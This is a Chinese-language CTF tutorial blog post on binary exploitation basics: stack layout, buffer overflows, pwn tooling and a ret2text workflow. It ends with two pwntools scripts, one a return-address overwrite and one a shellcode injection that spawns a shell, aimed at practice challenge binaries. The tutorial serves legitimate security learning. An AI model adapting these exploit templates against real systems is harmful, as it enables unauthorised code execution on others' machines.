目录
觉得这篇文章不错的话,欢迎收藏、点赞、评论,期待你的关注!
Reverse入门博客推荐:CTF比赛 Reverse 逆向方向:入门规划精讲-CSDN博客
PWN入门学习视频推荐:XMCVE CTF Pwn入门课程_哔哩哔哩_bilibili
二进制基础
hack
exploit 用于攻击的脚本与方案
payload 攻击载荷,是的目标进程被劫持控制流的数据
shellcode 调用攻击目标的shell的代码
可执行文件
Windows:PE (Portable Executable) | Linux:ELF (Executable and Linkable Format) | |
可执行程序 | .exe | .out |
动态链接库 | .dll | .so |
静态链接库 | .lib | .a |
小端序
linux中,小端序存储的字符串是逆序的
低地址存放数据低位、高地址存放数据高位
两种汇编格式
intel | AT&T |
mov ebx, 0ffffh | movl $0xffff, %ebx |
mov eax, 8 | movl $8, %eax |
int 80h | int $80 |
mov eax, [ecx] | movl (%ecx), %eax |
栈溢出基础
函数调用栈
函数调用栈是指程序运行时内存一段连续的区域。用来保存函数运行时的状态信息,包括函数参数与局部变量等。
称之为“栈”是因为发生函数调用时,调用函数(caller)的状态被保存在栈内,被调用函数(callee)的状态被压入调用栈的栈顶。在函数调用结束时,栈顶的函数(callee)状态被弹出,栈顶恢复到调用函数(caller)的状态。函数调用栈在内存中从高地址向低地址生长,所以栈顶对应的内存地址在压栈时变小,退栈时变大。
栈的结构
相关寄存器
32位函数状态主要涉及三个寄存器 —— esp,ebp,eip。
esp 用来存储函数调用栈的栈顶地址,在压栈和退栈时发生变化。ebp 用来存储当前函数状态的基地址,在函数运行时不变,可以用来索引确定函数参数或局部变量的位置。eip 用来存储即将执行的程序指令的地址,cpu 依照 eip 的存储内容读取指令并执行,eip 随之指向相邻的下一条指令,如此反复,程序就得以连续执行指令。
64位函数状态主要涉及寄存器 —— rsp,rbp。
32位一个地址是(32/8=)4字节,64位一个地址是(64/8=)8字节
函数调用栈
首先将被调用函数(callee)的参数按照逆序依次压入栈内。如果被调用函数(callee)不需要参数,则没有这一步骤。这些参数仍会保存在调用函数(caller)的函数状态内,之后压入栈内的数据都会作为被调用函数(callee)的函数状态来保存。
然后将调用函数(caller)进行调用之后的下一条指令地址作为返回地址压入栈内。这样调用函数(caller)的 eip(指令)信息得以保存。
再将当前的ebp 寄存器的值(也就是调用函数的基地址)压入栈内,并将 ebp 寄存器的值更新为当前栈顶的地址。这样调用函数(caller)的 ebp(基地址)信息得以保存。同时,ebp 被更新为被调用函数(callee)的基地址。
再之后是将被调用函数(callee)的局部变量等数据压入栈内。
缓冲区溢出
本质是向定长的缓冲区中写入了超长的数据,造成超出的数据覆写了合法内存区域。栈溢出(Stack overflow)最常见、漏洞比例最高、危害最大的二进制漏洞。
PWN工具
软件工具
IDA Pro
是一款流行的逆向工程和二进制代码分析工具。以下是一些常用的 IDA Pro 快捷键:
- 空格键 :切换文本视图/图表视图
- Shift + F12 :列出汇编语言代码中的字符串值,可由此找到main()函数位置
- F5 :将汇编语言代码转换为C语言代码
- Esc :返回上一层代码
- G :跳转至指定地址
- C语言源码 全选 右击 选择copy to assembly :C语言代码逐行粘贴到对应汇编代码处
Python库
pwntools
是一个专门用于漏洞开发和CTF竞赛的Python库。
LibcSearcher
是一个用于在已知 libc 版本下检索函数地址和移的工具。它可以帮助您快速定位 libc 中各种有用的函数的地址,如 system、/bin/sh 等。
Linux系统工具
pwndbg
是一个用于调试和漏洞利用的gdb
工具插件。GDB(GNU Debugger)是一款流行的开源调试器,用于调试各种编程语言编写的程序。以下是一些常见的pwndbg
指令:b
或break
:设置断点。例如,b main
在 main函数处设置断点。r
或run
:启动程序,并可选地传递输入参数。continue
或c
:继续程序的执行,直到下一个断点或程序结束。next
或n
:单步执行程序,跳过函数调用。step
或s
:单步执行程序,进入函数调用。
checksec
是一个用于检查二进制文件的安全特性的常用工具。它通常用于分析可执行文件、共享库等二进制文件的安全性配置。ROPgadget
是一个用于检索二进制文件中存在的 ROP(Return-oriented programming)操作链的工具。ROP 是一种利用程序中已存在的代码片段(称为 "gadgets")来构建恶意执行流的攻击技术。
ROPgadget --binary <file> --only "<instruction>" | grep "word"
one_gadget
是一个用于自动搜索并生成 ROP 链的工具,它专门用于利用 libc 中特定 gadget 来构造payload。
相关值利用
main_arena_offset
是指在堆管理中,main_arena 结构体在 libc 中的偏移量。堆管理器使用 main_arena 结构体来维护堆的状态,包括空闲链表、fast bins 等。
PWN步骤
以ret2text(32位)为例
Pwn入门课程_bilibili p2 1:59:00 开始
1. checksec
查看目标文件的安全性配置
checksec ret2text
- 架构(Arch):如该二进制文件使用的是
i386
架构,即 32 位小端模式。
- RELRO:一个内存保护技术,全称为 "RELocation Read-Only"。如它被设置为 "Partial RELRO",表示只有一部分重定位表被标记为只读,这意味着攻击者无法修改这些表的内容,但可以修改其他的重定位表项。
- 栈(Stack):没有找到堆栈保护(canary),这意味着二进制文件中未启用堆栈溢出保护机制。在利用漏洞时,可以利用缓冲区溢出来覆盖控制流程。
- NX:NX 是 "No eXecute" 的缩写,表示内存中的代码段不可执行。在这里,若NX 被启用,则可防止任意代码执行漏洞。
- PIE:PIE 是 "Position Independent Executable" 的缩写,指示二进制文件是否在加载时启用了地址空间布局随机化。若没有启用 PIE,基址为
0x8048000
。
2.IDA
查看文件代码信息并分析
gdb
中用pwndbg
调试,分析payload如何构造
gdb ret2text
b main
r
n
s
stack 24
若权限不足则需要提高权限
ls ret2text
chmod u+x ret2text
3.编写exploit
from pwn import *
io = process("./ret2text")
#io = remote("106.54.129.202",10006) #打开远程连接
#io.recvline() #接收返回的信息 并换行
payload = b'A'*0x10 + b'BBBB' + p32(0x08048522) #pack 32/64位整数,byte 字节流 字符串
io.sendline(payload)
io.interactive()
注入shellcode
from pwn import *
io = process(" ./ret2shellcode") #本地程序连接
#io = remote("106.54.129.202",10006) #远程端口连接
shellcode = asm(shellcraft.sh()) #构造后门函数
buf_addr = 0x804a080 #返回到源码中可以找到的存储地址(结合具体题目)
payload = shellcode.ljust(112,b'A') + p32(buf_addr) #构造payload
io.sendline(payload) #发送payload
io.interactive() #打开交互页面
注入二进制形式shellcode,其中不满足112字节的用垃圾数据“A”填充。